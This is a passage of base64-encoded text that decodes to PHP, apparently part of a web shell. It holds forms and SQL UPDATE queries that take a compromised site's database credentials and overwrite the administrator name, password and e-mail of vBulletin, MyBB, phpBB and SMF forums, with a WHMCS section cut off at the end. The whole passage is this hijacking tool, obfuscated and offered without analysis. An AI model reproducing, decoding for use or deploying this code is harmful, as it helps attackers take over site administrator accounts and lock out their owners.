jsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwdmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPlRhYmxlIHByZWZpeDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXZiXyB0eXBlPXRleHQgbmFtZT1wcnZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5Vc2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT10ZXh0IG5hbWU9dXJ2YiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TmV3IHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cjAwdCB0eXBlPXBhc3N3b3JkIG5hbWU9cHN2YiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TmV3IEUtbWFpbCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUMxR0Bob3RtYWlsLmNvbSB0eXBlPXRleHQgbmFtZT1lbXZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48YnI+DQogICAgICAgICAgPC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmh2YiA9ICRfUE9TVFsnZGJodmInXTsNCiRkYm52YiAgPSAkX1BPU1RbJ2RibnZiJ107DQokZGJ1dmIgPSAkX1BPU1RbJ2RidXZiJ107DQokZGJwdmIgID0gJF9QT1NUWydkYnB2YiddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHZiLCRkYnV2YiwkZGJwdmIpOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJudmIpOw0KDQokdXJ2Yj1zdHJfcmVwbGFjZSgiJyIsIiciLCR1cnZiKTsNCg0KJHNldF91cnZiID0gJF9QT1NUWyd1cnZiJ107DQoNCiRwc3ZiPXN0cl9yZXBsYWNlKCInIiwiJyIsJHBzdmIpOw0KJHBhc3NfdmIgPSAkX1BPU1RbJ3BzdmInXTsNCg0KJGVtdmI9c3RyX3JlcGxhY2UoIiciLCInIiwkZW12Yik7DQokc2V0X2VtdmIgPSAkX1BPU1RbJ2VtdmInXTsNCg0KJHZiX3ByZWZpeCA9ICRfUE9TVFsncHJ2YiddOw0KDQokdGFibGVfbmFtZSA9ICR2Yl9wcmVmaXguInVzZXIiIDsNCg0KJHF1ZXJ5ID0gJ3NlbGVjdCAqIGZyb20gJyAuICR0YWJsZV9uYW1lIC4gJyB3aGVyZSB1c2VybmFtZT0iJyAuICRzZXRfdXJ2YiAuICciOyc7DQoNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0KJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KJHNhbHQgPSAkcm93WydzYWx0J107DQokcGFzczIgPSBtZDUoJHBhc3NfdmIpOw0KJHBhc3MgPSRwYXNzMiAuICRzYWx0Ow0KDQokc2V0X3Bzc2FsdCA9IG1kNSgkcGFzcyk7DQoNCiRyMDB0MSA9ICdVUERBVEUgJyAuICR0YWJsZV9uYW1lIC4gJyBTRVQgcGFzc3dvcmQ9IicgLiAkc2V0X3Bzc2FsdCAuICciIFdIRVJFIHVzZXJuYW1lPSInIC4gJHNldF91cnZiIC4gJyI7JzsNCiRyMDB0MiA9ICdVUERBVEUgJyAuICR0YWJsZV9uYW1lIC4gJyBTRVQgZW1haWw9IicgLiAkc2V0X2VtdmIgLiAnIiBXSEVSRSB1c2VybmFtZT0iJyAuICRzZXRfdXJ2YiAuICciOyc7DQoNCiRvazE9QG15c3FsX3F1ZXJ5KCRyMDB0MSk7DQokb2sxPUBteXNxbF9xdWVyeSgkcjAwdDIpOw0KDQppZigkb2sxKXsNCmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ3ZCdWxsZXRpbiBJbmZvIENoYW5nZWQgOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL015QkINCmlmIChpc3NldCgkX1BPU1RbJ215YmInXSkpDQp7DQplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+DQo8dHI+PHRkPg0KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBNeUJCIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW48YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2luYy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhteSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPW15YmIgdHlwZT10ZXh0IG5hbWU9ZGJubXkgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidW15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnBteSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9dGV4dCBuYW1lPXVybXkgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBFLW1haWwgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1DMUdAaG90bWFpbC5jb20gdHlwZT10ZXh0IG5hbWU9ZW1teSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9bXliYl8gdHlwZT10ZXh0IG5hbWU9cHJteSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmhteSA9ICRfUE9TVFsnZGJobXknXTsNCiRkYm5teSAgPSAkX1BPU1RbJ2Ribm15J107DQokZGJ1bXkgPSAkX1BPU1RbJ2RidW15J107DQokZGJwbXkgID0gJF9QT1NUWydkYnBteSddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaG15LCRkYnVteSwkZGJwbXkpOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJubXkpOw0KDQokdXJteT1zdHJfcmVwbGFjZSgiJyIsIiciLCR1cm15KTsNCiRzZXRfdXJteSA9ICRfUE9TVFsndXJteSddOw0KDQokZW1teT1zdHJfcmVwbGFjZSgiJyIsIiciLCRlbW15KTsNCiRzZXRfZW1teSA9ICRfUE9TVFsnZW1teSddOw0KDQokbXlfcHJlZml4ID0gJF9QT1NUWydwcm15J107DQoNCiR0YWJsZV9uYW1lMSA9ICRteV9wcmVmaXguInVzZXJzIiA7DQoNCiRyMDB0MyA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCB1c2VybmFtZSA9JyIuJHNldF91cm15LiInIFdIRVJFIHVpZCA9JzEnIjsNCiRyMDB0NCA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCBlbWFpbCA9JyIuJHNldF9lbW15LiInIFdIRVJFIHVpZCA9JzEnIjsNCg0KJG9rMj1AbXlzcWxfcXVlcnkoJHIwMHQzKTsNCiRvazI9QG15c3FsX3F1ZXJ5KCRyMDB0NCk7DQoNCmlmKCRvazIpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnTXlCQiBJbmZvIENoYW5nZWQgOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL3BocEJCDQppZiAoaXNzZXQoJF9QT1NUWydwaHBiYiddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBocEJCIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS9jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBiYiB0eXBlPXRleHQgbmFtZT1kYm5waHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXBocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXIwMHQgdHlwZT10ZXh0IG5hbWU9dXJwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXIwMHQgdHlwZT1wYXNzd29yZCBuYW1lPXBzcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBiYl8gdHlwZT10ZXh0IG5hbWU9cHJwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KfWVsc2V7DQokZGJocGhwID0gJF9QT1NUWydkYmhwaHAnXTsNCiRkYm5waHAgID0gJF9QT1NUWydkYm5waHAnXTsNCiRkYnVwaHAgPSAkX1BPU1RbJ2RidXBocCddOw0KJGRicHBocCAgPSAkX1BPU1RbJ2RicHBocCddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHBocCwkZGJ1cGhwLCRkYnBwaHApOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJucGhwKTsNCg0KJHVycGhwPXN0cl9yZXBsYWNlKCInIiwiJyIsJHVycGhwKTsNCiRzZXRfdXJwaHAgPSAkX1BPU1RbJ3VycGhwJ107DQoNCiRwc3BocD1zdHJfcmVwbGFjZSgiJyIsIiciLCRwc3BocCk7DQokcGFzc19waHAgPSAkX1BPU1RbJ3BzcGhwJ107DQokc2V0X3BzcGhwID0gbWQ1KCRwYXNzX3BocCk7DQoNCiRwaHBfcHJlZml4ID0gJF9QT1NUWydwcnBocCddOw0KDQokdGFibGVfbmFtZTIgPSAkcGhwX3ByZWZpeC4idXNlcnMiIDsNCg0KJHIwMHQ1ID0gIlVQREFURSAkdGFibGVfbmFtZTIgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kc2V0X3VycGhwLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7DQokcjAwdDYgPSAiVVBEQVRFICR0YWJsZV9uYW1lMiBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJHNldF9wc3BocC4iJyBXSEVSRSB1c2VyX2lkID0nMiciOw0KDQokb2szPUBteXNxbF9xdWVyeSgkcjAwdDUpOw0KJG9rMz1AbXlzcWxfcXVlcnkoJHIwMHQ2KTsNCg0KaWYoJG9rMyl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdwaHBCQiBJbmZvIENoYW5nZWQgOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL1NNRg0KaWYgKGlzc2V0KCRfUE9TVFsnc21mJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgU01GIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vaW5kZXgucGhwP2FjdGlvbj1hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vU2V0dGluZ3MucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1zbWYgdHlwZT10ZXh0IG5hbWU9ZGJuc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnVzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9dGV4dCBuYW1lPXVyc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgRS1tYWlsIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9QzFHQGhvdG1haWwuY29tIHR5cGU9dGV4dCBuYW1lPWVtc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1zbWZfIHR5cGU9dGV4dCBuYW1lPXByc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn1lbHNlew0KJGRiaHNtZiA9ICRfUE9TVFsnZGJoc21mJ107DQokZGJuc21mICA9ICRfUE9TVFsnZGJuc21mJ107DQokZGJ1c21mID0gJF9QT1NUWydkYnVzbWYnXTsNCiRkYnBzbWYgID0gJF9QT1NUWydkYnBzbWYnXTsNCiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhzbWYsJGRidXNtZiwkZGJwc21mKTsNCiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibnNtZik7DQoNCiR1cnNtZj1zdHJfcmVwbGFjZSgiJyIsIiciLCR1cnNtZik7DQokc2V0X3Vyc21mID0gJF9QT1NUWyd1cnNtZiddOw0KDQokZW1zbWY9c3RyX3JlcGxhY2UoIiciLCInIiwkZW1zbWYpOw0KJHNldF9lbXNtZiA9ICRfUE9TVFsnZW1zbWYnXTsNCg0KJHNtZl9wcmVmaXggPSAkX1BPU1RbJ3Byc21mJ107DQoNCiR0YWJsZV9uYW1lMyA9ICRzbWZfcHJlZml4LiJtZW1iZXJzIiA7DQoNCiRyMDB0NyA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBtZW1iZXJfbmFtZSA9JyIuJHNldF91cnNtZi4iJyBXSEVSRSBpZF9tZW1iZXIgPScxJyI7DQokcjAwdDggPSAiVVBEQVRFICR0YWJsZV9uYW1lMyBTRVQgZW1haWxfYWRkcmVzcyA9JyIuJHNldF9lbXNtZi4iJyBXSEVSRSBpZF9tZW1iZXIgPScxJyI7DQoNCiRyMDB0NyA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBtZW1iZXJOYW1lID0nIi4kc2V0X3Vyc21mLiInIFdIRVJFIElEX01FTUJFUiA9JzEnIjsNCiRyMDB0OCA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBlbWFpbEFkZHJlc3MgPSciLiRzZXRfZW1zbWYuIicgV0hFUkUgSURfTUVNQkVSID0nMSciOw0KDQokb2s0PUBteXNxbF9xdWVyeSgkcjAwdDcpOw0KJG9rND1AbXlzcWxfcXVlcnkoJHIwMHQ4KTsNCg0KaWYoJG9rNCl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdTTUYgSW5mbyBDaGFuZ2VkIDspJyk7PC9zY3JpcHQ+IjsNCn0NCn0NCg0KLy9XSE1DUw0KaWYgKGlzc2V0KCRfUE9TVFsnd2htY3MnXSkpDQp7DQplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+DQo8dHI+PHRkPg0KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBXSE1DUyBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2FkbWluPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS9jb25maWd1cmF0aW9uLnBocDwvZm9udD48L2NlbnRlcj4NCiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJod2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9d2htY3MgdHlwZT10ZXh0IG5hbWU9ZGJud2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnV3